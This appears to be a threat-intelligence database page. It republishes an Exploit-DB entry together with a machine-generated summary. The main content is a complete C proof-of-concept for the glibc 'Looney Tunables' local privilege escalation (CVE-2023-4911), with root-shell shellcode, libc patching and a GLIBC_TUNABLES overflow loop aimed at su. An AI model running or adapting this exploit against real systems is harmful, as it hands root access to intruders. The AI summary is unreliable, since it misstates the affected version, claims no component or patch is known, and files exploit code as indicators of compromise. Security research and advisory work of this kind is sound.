glibc 2.38 - Buffer Overflow
glibc 2.38 - Buffer Overflow
AI Analysis
Technical Summary
This threat involves a buffer overflow vulnerability in the GNU C Library (glibc) version 2.38. The vulnerability allows for potential local exploitation as indicated by the exploit code published in C. There is no information about affected sub-versions or specific components within glibc. No vendor advisory or patch information is available at this time.
Potential Impact
The buffer overflow could allow a local attacker to cause a denial of service or potentially execute arbitrary code depending on the exploitation context. However, no known exploits in the wild have been reported, and the exact impact scope remains limited to local attack scenarios.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, users should monitor vendor communications and avoid running untrusted code locally that could trigger this vulnerability.
Indicators of Compromise
- exploit-code: # Exploit Title: glibc 2.38 - Buffer Overflow # Google Dork: N/A # Date: 2025-10-08 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.gnu.org/software/libc/ # Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz # Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS) # Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3) # CVE : CVE-2023-4911 # Description: Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow # This is a local privilege escalation exploit for CVE-2023-4911, also known as # "Looney Tunables", caused by a buffer overflow in the glibc dynamic loader's # environment variable parsing logic. The vulnerability is triggered by crafting # a maliciously long GLIBC_TUNABLES string which corrupts internal loader state, # allowing control over DT_RPATH and arbitrary shared object loading. # # This PoC creates a patched version of libc.so.6 with embedded shellcode and # abuses the loader to execute arbitrary code as root by invoking /usr/bin/su # with a malicious environment. # #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <time.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/wait.h> #include <elf.h> #define FILL_SIZE 0xd00 #define BOF_SIZE 0x600 #define MAX_ENVP 0x1000 // shellcode generado con pwntools const unsigned char shellcode[] = { 0x48, 0x31, 0xff, // xor rdi,rdi 0x6a, 0x69, // push 0x69 ; syscall setuid 0x58, // pop rax 0x0f, 0x05, // syscall 0x48, 0x31, 0xff, // xor rdi,rdi 0x6a, 0x6a, // push 0x6a ; syscall setgid 0x58, // pop rax 0x0f, 0x05, // syscall 0x48, 0x31, 0xd2, // xor rdx, rdx 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, // mov rbx, "/bin/sh" 0x53, // push rbx 0x48, 0x89, 0xe7, // mov rdi, rsp 0x50, // push rax 0x57, // push rdi 0x48, 0x89, 0xe6, // mov rsi, rsp 0xb0, 0x3b, // mov al, 0x3b 0x0f, 0x05 // syscall }; int64_t time_us() { struct timespec tms; if (clock_gettime(CLOCK_REALTIME, &tms)) return -1; int64_t micros = tms.tv_sec * 1000000; micros += tms.tv_nsec / 1000; if (tms.tv_nsec % 1000 >= 500) ++micros; return micros; } void patch_libc() { FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6", "rb"); if (!f) { perror("fopen"); exit(1); } fseek(f, 0, SEEK_END); long size = ftell(f); rewind(f); unsigned char *data = malloc(size); if (fread(data, 1, size, f) != size) { perror("fread"); exit(1); } fclose(f); Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data; Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff); Elf64_Sym *symtab = NULL; char *strtab = NULL; for (int i = 0; i < ehdr->e_shnum; ++i) { if (shdr[i].sh_type == SHT_SYMTAB) { symtab = (Elf64_Sym *)(data + shdr[i].sh_offset); strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset); break; } } if (!symtab || !strtab) { fprintf(stderr, "[-] Failed to find symtab\n"); exit(1); } Elf64_Addr target_addr = 0; for (int i = 0; i < shdr->sh_size / sizeof(Elf64_Sym); ++i) { if (strcmp(&strtab[symtab[i].st_name], "__libc_start_main") == 0) { target_addr = symtab[i].st_value; break; } } if (!target_addr) { fprintf(stderr, "[-] Could not find __libc_start_main\n"); exit(1); } // patch shellcode at the symbol location memcpy(data + target_addr, shellcode, sizeof(shellcode)); f = fopen("./libc.so.6", "wb"); if (!f) { perror("fopen (write)"); exit(1); } fwrite(data, 1, size, f); fclose(f); free(data); printf("[+] Patched libc.so.6 written.\n"); } int main(void) { char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000]; char *argv[] = {"/usr/bin/su", "--help", NULL}; char *envp[MAX_ENVP] = { NULL }; // Create directory and patched libc if not present if (mkdir("\"", 0755) == 0) { patch_libc(); int sfd = open("./libc.so.6", O_RDONLY); int dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755); char buf[0x1000]; int len; while ((len = read(sfd, buf, sizeof(buf))) > 0) { write(dfd, buf, len); } close(sfd); close(dfd); } memset(filler, 'F', sizeof(filler)); filler[sizeof(filler)-1] = '\0'; strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast="); memset(kv, 'A', sizeof(kv)); kv[sizeof(kv)-1] = '\0'; strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); memset(filler2, 'F', sizeof(filler2)); filler2[sizeof(filler2)-1] = '\0'; strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast="); for (int i = 0; i < MAX_ENVP; i++) envp[i] = ""; envp[0] = filler; envp[1] = kv; envp[0x65] = ""; envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f"; envp[0xf7f] = filler2; for (int i = 0; i < sizeof(dt_rpath); i += 8) { *(uintptr_t *)(dt_rpath + i) = -0x14ULL; } dt_rpath[sizeof(dt_rpath) - 1] = '\0'; for (int i = 0; i < 0x2f; i++) { envp[0xf80 + i] = dt_rpath; } envp[0xffe] = "AAAA"; setrlimit(RLIMIT_STACK, &(struct rlimit){RLIM_INFINITY, RLIM_INFINITY}); int pid; for (int ct = 1;; ct++) { if (ct % 100 == 0) printf("try %d\n", ct); if ((pid = fork()) < 0) { perror("fork"); break; } else if (pid == 0) { execve(argv[0], argv, envp); perror("execve (child)"); exit(1); } else { int wstatus; int64_t st = time_us(), en; wait(&wstatus); en = time_us(); if (!WIFSIGNALED(wstatus) && en - st > 1000000) { printf("[+] Exploit likely succeeded!\n"); break; } } } return 0; }
glibc 2.38 - Buffer Overflow
Description
glibc 2.38 - Buffer Overflow
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
This threat involves a buffer overflow vulnerability in the GNU C Library (glibc) version 2.38. The vulnerability allows for potential local exploitation as indicated by the exploit code published in C. There is no information about affected sub-versions or specific components within glibc. No vendor advisory or patch information is available at this time.
Potential Impact
The buffer overflow could allow a local attacker to cause a denial of service or potentially execute arbitrary code depending on the exploitation context. However, no known exploits in the wild have been reported, and the exact impact scope remains limited to local attack scenarios.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, users should monitor vendor communications and avoid running untrusted code locally that could trigger this vulnerability.
Technical Details
- Edb Id
- 52479
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for glibc 2.38 - Buffer Overflow
# Exploit Title: glibc 2.38 - Buffer Overflow # Google Dork: N/A # Date: 2025-10-08 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.gnu.org/software/libc/ # Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz # Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS) # Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3) # CVE : CVE-2023-4911 # Description: Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow # This is... (6067 more characters)
Threat ID: 698c72394b57a58fa193b5d1
Added to database: 2/11/2026, 12:12:41 PM
Last enriched: 4/7/2026, 11:04:19 AM
Last updated: 5/11/2026, 1:42:01 PM
Views: 431
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